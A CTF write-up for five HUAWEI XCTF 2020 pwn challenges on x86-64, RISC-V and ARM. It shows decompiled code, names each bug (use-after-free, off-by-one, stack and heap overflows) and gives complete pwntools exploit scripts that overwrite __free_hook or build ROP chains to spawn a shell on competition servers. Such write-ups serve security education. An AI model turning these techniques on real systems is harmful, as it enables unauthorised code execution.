HUAWEI XCTF 2020 PWN WRITE UP
HUAWEI XCTF 2020 First
CPP
checksec
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Use the cutter decompiler to analize this program
undefined8 main(void)
{
int64_t *piVar1;
int64_t iVar2;
undefined *arg1;
undefined *puVar3;
int64_t in_FS_OFFSET;
uint64_t uStack40;
int64_t iStack32;
iStack32 = *(int64_t *)(in_FS_OFFSET + 0x28);
setvbuf(_reloc.stdin, 0, 2, 0);
setvbuf(_reloc.stdout, 0, 2, 0);
setvbuf(_reloc.stderr, 0, 2, 0);
uStack40 = 0;
while( true ) {
while( true ) {
std::basic_ostream >& std::__ostream_insert >(std::basic_ostream >&, char const*, long)
(reloc.std::cout, 0x2004, 2);
uStack40 = 0x539;
std::istream& std::istream::_M_extract(unsigned long&)(reloc.std::cin, &uStack40);
if (uStack40 != 0) break;
arg1 = (undefined *)operator new[](unsigned long)(8);
puVar3 = arg1;
do {
*puVar3 = 0;
puVar3 = puVar3 + 1;
} while (puVar3 != arg1 + 8);
std::basic_ostream >& std::operator<< >(std::basic_ostream >&, char const*)
(reloc.std::cout, 0x2004);
fcn.000012c9((int64_t)arg1, 8);
std::basic_ostream >& std::operator<< >(std::basic_ostream >&, char const*)
(reloc.std::cout, 0x2004);
std::istream& std::istream::_M_extract(unsigned long&)(reloc.std::cin, &uStack40);
if (uStack40 < 0x100) {
piVar1 = (int64_t *)(uStack40 * 8 + 0x42e0);
iVar2 = *piVar1;
*piVar1 = (int64_t)arg1;
if (iVar2 != 0) {
operator delete[](void*)();
}
} else {
operator delete[](void*)(arg1);
}
}
if (uStack40 != 1) break;
std::basic_ostream >& std::operator<< >(std::basic_ostream >&, char const*)
(reloc.std::cout, 0x2004);
std::istream& std::istream::_M_extract(unsigned long&)(reloc.std::cin, &uStack40);
if (uStack40 < 0x100) {
piVar1 = (int64_t *)(uStack40 * 8 + 0x42e0);
iVar2 = *piVar1;
*piVar1 = 0;
if (iVar2 != 0) {
operator delete[](void*)(iVar2);
puts(iVar2);
std::basic_ostream >& std::operator<< >(std::basic_ostream >&, char const*)
(reloc.std::cout, 0x2004);
fcn.000012c9(iVar2, 8);
}
}
}
if (iStack32 == *(int64_t *)(in_FS_OFFSET + 0x28)) {
return 0;
}
// WARNING: Subroutine does not return
__stack_chk_fail();
}
It’s easy to discover the vulnerability is uaf
exp
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
elf_path = 'chall'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
# remote server ip and port
server_ip = "124.70.12.210"
server_port = 10002
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def fn1(d, idx):
sla('>', '0')
sla('>', d)
sla('>', str(idx))
def fn2(idx, d):
sla('>', '1')
sla('>', str(idx))
sla('>', d)
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
# leak heap
fn1('123', 0x11)
fn1('123', 0x12)
fn2(0x11, 'AAA')
sla('>', '1')
sla('>', str(0x12))
leak = u64(ru('\x0a')[-6:].ljust(8, b'\x00'))
heap_base = leak - 0x11eb0
heap = leak
li('leak: ' + hex(leak))
#li('heap: ' + hex(heap))
sla('>', '')
for i in range(0x30):
fn1('', 0x10 + i)
fn2(0x10, 'BBBB')
fn2(0x12, p64(heap + 0x58)[0:7])
fn1('sh\x00', 0)
fn1(p64(0x20 * 0x25 + 1)[0:7], 1)
sla('>', '1')
sla('>', str(0x13))
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10
__free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
#one_gadget = libc_base +
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))
sla('>', '')
fn2(0x20, 'BBBB')
fn2(0x21, p64(__free_hook)[0:7])
fn1('', 2)
db()
fn1(p64(system), 3)
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()
else:
libc_path = './libc.so.6'
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
HUAWEI XCTF 2020 Second
honorbook
I’m not good at using gdb to debug this riscv architecture. Because this is the first time I’ve met this architecture. So I use c language to write a same function as this challenge, compile as amd64 arch to debug then analize the layout of heap. The vulnerability is off by one
#include <cstdio>
#include <iostream>
#include <cstdlib>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
void func();
void menu();
void init();
void show();
void del();
void add();
void modify();
char *plist[30];
char *pname[30];
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void menu() {
std::cout << "code:";
}
void func() {
int a = 0;
while(1) {
menu();
std::cin >> a;
switch(a) {
case 1: add(); break;
case 2: del(); break;
case 3: show(); break;
case 4: modify(); break;
default:
puts("code err:");
continue;
}
}
}
void add() {
size_t size = 0xe8;
int idx;
std::cout << "idx:";
std::cin >> idx;
pname[idx] = new char[0x20];
std::cout << "name:" << std::endl;
read(0, pname[idx], 0x18);
plist[idx] = (char*)malloc(size);
std::cout << "msg:";
for(int i = 0; i <= size; ++i) {
read(0, plist[idx] + i, 1);
if(*(plist[idx] + i) == '\n')
break;
}
}
void del() {
int idx;
std::cout << "idx:";
std::cin >> idx;
if(plist[idx] == nullptr) {
return ;
}
free(plist[idx]);
delete[] pname[idx];
pname[idx] = nullptr;
plist[idx] = nullptr;
}
void show() {
int idx;
std::cout << "idx:";
std::cin >> idx;
if(plist[idx] == nullptr) {
std::cout << "err" << std::endl;
return ;
}
std::cout << "msg:" << plist[idx] << std::endl;
}
void modify() {
int idx;
std::cout << "idx:";
std::cin >> idx;
if(plist[idx] == nullptr) {
return ;
}
std::cout << "msg:";
size_t size = 0xf8;
for(int i = 0; i < size; ++i) {
read(0, plist[idx] + i, 1);
if(*(plist[idx] + i) == '\n')
break;
}
}
int main(int, char**) {
init();
func();
return 0;
}
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
#context.arch='em_riscv-64-little'
context.terminal = ['tmux', 'splitw', '-h']
elf_path = './honorbook'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = 'libs/lib/libc.so.6'
# remote server ip and port
server_ip = "121.36.192.114"
server_port = 9999
# if local debug
LOCAL = 1
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad(idx, n, d):
sla(':', '1')
sla(':', str(idx))
sa(':', n) # max 0x18
sa(':', d) # max 0xE9
def rm(idx):
sla(':', '2')
sla(':', str(idx))
def dp(idx):
sla(':', '3')
sla(':', str(idx))
def md(idx, d):
sla(':', '4')
sla(':', str(idx))
sa(':', d) # max 0xE9
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
# name -> size == 0x30
# body -> size == 0x100
#ad(0, 'A' * 0x18, 'D' * 0xE9)
# leak libc
for i in range(8):
ad(i, 'A', '\n')
for i in range(8):
rm(7 - i)
for i in range(7):
ad(i, 'A', '\n')
ad(7, 'A', 'AAAAAAA\n')
dp(7)
ru('AA\n')
#libc.sym['__malloc_hook']
leak = u64(ru('\n').ljust(8, b'\x00'))
libc_base = 0x4000000000 + leak - libc.sym['__malloc_hook'] - 88 - 0x10
system = libc_base + libc.sym['system']
__free_hook = libc_base + libc.sym['__free_hook']
rm(2)
rm(0)
ad(0, 'A', 'A' * 0xe8 + '\xf1')
rm(1)
p = b'B' * 0x20
p += p64(0) + p64(0xf1)
p += p64(__free_hook) + p64(0)
p += b'\n'
ad(8, 'A', p)
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))
li('free_hook: ' + hex(__free_hook))
li('system: ' + hex(system))
ad(9, '/bin/sh\x00', '/bin/sh\x00\n')
ad(10, 'A', p64(system) + b'\n')
rm(9)
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
if LIBC:
libc = ELF(libc_path)
#io = elf.process(env = {"LD_PRELOAD" : libc_path} )
io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
#io = process(['/usr/bin/qemu-riscv64-static', '-g', '1235', '-L' , './libs', elf_path])
else:
#io = elf.process()
#io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
io = process(['/usr/bin/qemu-riscv64-static', '-g', '1234', '-L' , './libs', elf_path])
else:
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
HUAWEI XCTF 2020 Third
shell
checksec
Arch: em_riscv-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x10000)
RWX: Has RWX segments
It’s a riscv-64 arch, We have to use latest ghidra decompilier to annalize this program, version as: 9.21
vul
In echo function, there is a stackoverflow vulnerability.
void echo(longlong param_1)
{
longlong lVar1;
char **ppcVar2;
char *pcVar3;
char *__s2;
int iVar4;
ssize_t sVar5;
undefined4 extraout_var;
undefined4 extraout_var_00;
undefined4 extraout_var_01;
size_t __nbytes;
longlong lVar6;
undefined auStack320 [264];
lVar1 = *(longlong *)(param_1 + 8);
pcVar3 = *(char **)(lVar1 + 8);
iVar4 = strcmp(pcVar3,">");
if (CONCAT44(extraout_var,iVar4) == 0) {
lVar6 = 0;
}
else {
iVar4 = strcmp(pcVar3,">>");
lVar6 = 1;
if (CONCAT44(extraout_var_00,iVar4) != 0) {
/* WARNING: Subroutine does not return*/
error();
}
}
pcVar3 = *(char **)(lVar1 + 0x10);
ppcVar2 = (char **)&gp0xfffffffffffffa60;
while ((__s2 = *ppcVar2, __s2 == (char *)0x0 ||
(iVar4 = strcmp(pcVar3,__s2),CONCAT44(extraout_var_01,iVar4) != 0))) {
ppcVar2 = ppcVar2 + 1;
if (ppcVar2 == (char **)&gp0xfffffffffffffbe0) {
__nbytes = 0x200;
LAB_00011516:
sVar5 = read(0,auStack320,__nbytes); // vul
FUN_000113e2(*(char **)(*(longlong *)(param_1 +8) + 0x10),auStack320,(longlong)sVar5,lVar6);
return;
}
}
__nbytes = *(size_t *)(__s2 + 0x18);
goto LAB_00011516;
}
Use unsorted bin leak to leak libc address then use return-to-csu method to get shell
LAB_0001181a XREF[1]: 00011828(j)
0001181a 1c 60 c.ld a5,0x0(s0=>->_INIT_0) = 10F84h
= 11056h
0001181c 56 86 c.mv a2,s5
0001181e d2 85 c.mv a1,s4
00011820 4e 85 c.mv a0,s3
00011822 85 04 c.addi s1,0x1
00011824 82 97 c.jalr a5=>_INIT_0 undefined _INIT_1(void)
undefined _INIT_0(void)
00011826 21 04 c.addi s0,0x8
00011828 e3 19 99 fe bne s2,s1,LAB_0001181a
LAB_0001182c XREF[1]: 0001180e(j)
0001182c e2 70 c.ldsp ra,0x38(sp)
0001182e 42 74 c.ldsp s0,0x30(sp)
00011830 a2 74 c.ldsp s1,0x28(sp)
00011832 02 79 c.ldsp s2,0x20(sp)
00011834 e2 69 c.ldsp s3,0x18(sp)
00011836 42 6a c.ldsp s4,0x10(sp)
00011838 a2 6a c.ldsp s5,0x8(sp)
0001183a 21 61 c.addi16sp sp,0x40
0001183c 82 80 ret
gdb script
#! /bin/sh
gdb-multiarch --nh \
-ex "add-symbol-file ./harmoshell" \
-ex "set architecture riscv:rv64" \
-ex "target remote 127.0.0.1:1234"
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
elf_path = './harmoshell'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = 'libs/lib/libc.so.6'
# remote server ip and port
server_ip = "121.36.192.114"
server_port = 9999
# if local debug
LOCAL = 1
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def touch(n):
sla('$', b'touch ' + n)
def rm(n):
sla('$', b'rm ' + n)
def ls():
sla('$', 'ls')
def cat(n):
sla('$', 'cat ' + n)
def echo(t, n, d):
sla('$', 'echo ' + t + ' ' + n)
s(d)
def quit():
sla('$', 'exit')
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
# leak libc
for i in range(9):
touch(str(i).encode())
for i in range(8):
rm(str(7 - i).encode())
for i in range(7):
touch(str(i).encode())
touch(b'7')
echo('>>', '7', 'A' * 7 + '&')
cat('7')
ru('&')
leak = u64(r(3).ljust(8 , b'\x00'))
libc_base = 0x0000004000000000 + leak - libc.sym['__malloc_hook'] - 88 - 0x10
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))
touch(b'debug')
csu_c = 0x0001181a
csu_i = 0x0001182c
system = libc_base + libc.sym['system']
bin_sh = libc_base + 0xed4b0
li('system: ' + hex(system))
p = b'\x00' * 0x138
#p += p64(system)
#p += p64(bin_sh)
# modify a0 arg
p += p64(csu_i)
p += p64(0) # null
p += p64(8) # s5 -> a2
p += p64(elf.got['read'] + 8) # s4 -> a1
p += p64(0) # s3 -> a0
p += p64(1) # s2 -> bypass jump
p += p64(0) # s1 -> bypass jump
p += p64(elf.got['read']) # s0 -> call
p += p64(csu_c)
p += p64(0)
#p += p64(0)
p += p64(1) # s5 -> a2
p += p64(2) # s4 -> a1
p += p64(bin_sh) # s3 -> a0
p += p64(1) # s2 -> bypass jump
p += p64(0) # s1 -> bypass jump
p += p64(elf.got['read'] + 8) # call our func
p += p64(csu_c)
echo('>', '9', p)
s(p64(system))
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF('./harmoshell')
if LIBC:
libc = ELF(libc_path)
io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
#io = process(['./qemu-riscv64', '-g', '1234', '-L' , './libs', elf_path])
else:
io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
#io = process(['./qemu-riscv64', '-g', '1234', '-L' , './libs', elf_path])
else:
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
shell2
checksec
Arch: em_riscv-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x10000)
RWX: Has RWX segments
vul
void echo(longlong param_1)
{
longlong lVar1;
int iVar2;
ssize_t sVar3;
undefined4 extraout_var;
undefined4 extraout_var_00;
size_t __nbytes;
char *__s1;
undefined8 uVar4;
undefined auStack288 [256];
lVar1 = *(longlong *)(param_1 + 8);
__s1 = *(char **)(lVar1 + 8);
iVar2 = strcmp(__s1,">");
if (CONCAT44(extraout_var,iVar2) == 0) {
uVar4 = 0;
}
else {
iVar2 = strcmp(__s1,">>");
uVar4 = 1;
if (CONCAT44(extraout_var_00,iVar2) != 0) {
/* WARNING: Subroutine does not return*/
FUN_000113ee();
}
}
lVar1 = FUN_000110bc(*(undefined8 *)(lVar1 +0x10));
__nbytes = 0x100;
if (-1 < lVar1) {
__nbytes = *(size_t *)(*(longlong*)(&gp0xfffffffffffffa60 + lVar1 * 8) + 0x18);
}
sVar3 = read(0,auStack288,__nbytes);
FUN_00011384(*(undefined8 *)(*(longlong*)(param_1 + 8) +0x10),auStack288,(longlong)sVar3,uVar4);
return;
}
The vulnerability is heap overflow. we can use echo >> nmae
to realize it
gdb script
#! /bin/sh
gdb-multiarch --nh \
-ex "add-symbol-file ./harmoshell2" \
-ex "set architecture riscv:rv64" \
-ex "target remote 127.0.0.1:1234"
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
elf_path = './harmoshell2'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = 'libs/lib/libc.so.6'
# remote server ip and port
server_ip = "121.36.192.114"
server_port = 9999
# if local debug
LOCAL = 1
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def touch(n):
sla('$', b'touch ' + n)
def rm(n):
sla('$', b'rm ' + n)
def ls():
sla('$', 'ls')
def cat(n):
sla('$', 'cat ' + n)
def echo(t, n, d):
sla('$', 'echo ' + t + ' ' + n)
s(d)
def quit():
sla('$', 'exit')
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
# leak libc
for i in range(9):
touch(str(i).encode())
for i in range(8):
rm(str(7 - i).encode())
for i in range(7):
touch(str(i).encode())
touch(b'7')
echo('>>', '7', 'A' * 7 + '&')
cat('7')
ru('&')
leak = u64(r(3).ljust(8 , b'\x00'))
libc_base = 0x0000004000000000 + leak - libc.sym['__malloc_hook'] - 88 - 0x10
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))
touch(b'debug')
csu_c = 0x0001181a
csu_i = 0x0001182c
system = libc_base + libc.sym['system']
bin_sh = libc_base + 0xed4b0
free_hook = libc_base + libc.sym['__free_hook']
li('system: ' + hex(system))
#rm(b'8')
touch(b'a')
touch(b'b')
echo('>', 'a', '/bin/sh\x00'.ljust(0x100, '\x00'))
#echo('>', 'b', 'B' * 0x100)
p = p64(0) + p64(0x31)
p += b'b'.ljust(0x10, b'\x00')
p += p64(free_hook) + p64(0x100)
echo('>>', 'a', p) # heap overflow
li('__free_hook: ' + hex(free_hook))
echo('>', 'b', p64(system))
rm(b'a')
#touch(b'debug')
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
#io = process(['./qemu-riscv64', '-g', '1234', '-L' , './libs', elf_path])
else:
io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
#io = process(['./qemu-riscv64', '-g', '1234', '-L' , './libs', elf_path])
else:
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()
pwnit
checksec
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
vul
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[260]; // [sp+0h] [bp-104h] BYREF
setvbuf((FILE *)stdout, 0, 2, 0);
printf("input: ");
read(0, buf, 0x300u);
return 0;
}
It’s easy to found the vul. use arm gadget to exploit it! so we must leak libc before modify something
Use print print.got table to leak
main = 0x000104A0
#gadget_2 = 0x000104F8 # MOV R0, R3;SUB SP, R11, #4; POP {R11,PC}
gadget_1 = 0x00010348 # pop {r3, pc}
gadget_2 = 0x000104D8 # printf
gadget_3 = 0x00010500 # pop {R11,PC}
gadget_4 = 0x000104F8
p = b'A' * 0x104
p += p32(gadget_1)
p += p32(elf.got['printf'])
p += p32(gadget_3)
p += p32(1) # r11
#p += p32(elf.plt['printf'])
p += p32(gadget_2)
#li('ru')
sla('input:', p)
So we can leak libc address, but we found that the address not change by every attack, so the aslr protector is off
Next attack, we just use modifying r0 regiseter gadget in libc to create a system(“/bin/sh”) rop chain to get shell
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
elf_path = './bin'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc-2.31.so'
# remote server ip and port
server_ip = "139.159.210.220"
server_port = 9999
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
#--------------------------exploit--------------------------
def exploit():
li('exploit...')
main = 0x000104A0
#gadget_2 = 0x000104F8 # MOV R0, R3;SUB SP, R11, #4; POP {R11,PC}
gadget_1 = 0x00010348 # pop {r3, pc}
gadget_2 = 0x000104D8 # printf
gadget_3 = 0x00010500 # pop {R11,PC}
gadget_4 = 0x000104F8
libc_base = 0xff6db39c - libc.sym['printf']
system = libc_base + libc.sym['system']
bin_sh = libc_base + 0xfe861
gadget = libc_base + 0x0006beec # pop {r0, r4, pc}
li('libc_base: ' + hex(libc_base))
bss = 0x00020F08
'''
# leak
p = b'A' * 0x104
p += p32(gadget_1)
p += p32(elf.got['printf'])
p += p32(gadget_3)
p += p32(1) # r11
#p += p32(elf.plt['printf'])
p += p32(gadget_2)
#li('ru')
sla('input:', p)
'''
p = b'A' * 0x100
p += p32(bss + 0x100) # r11
p += p32(gadget)
p += p32(bin_sh)
p += p32(bin_sh)
p += p32(system)
sla('input:', p)
def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()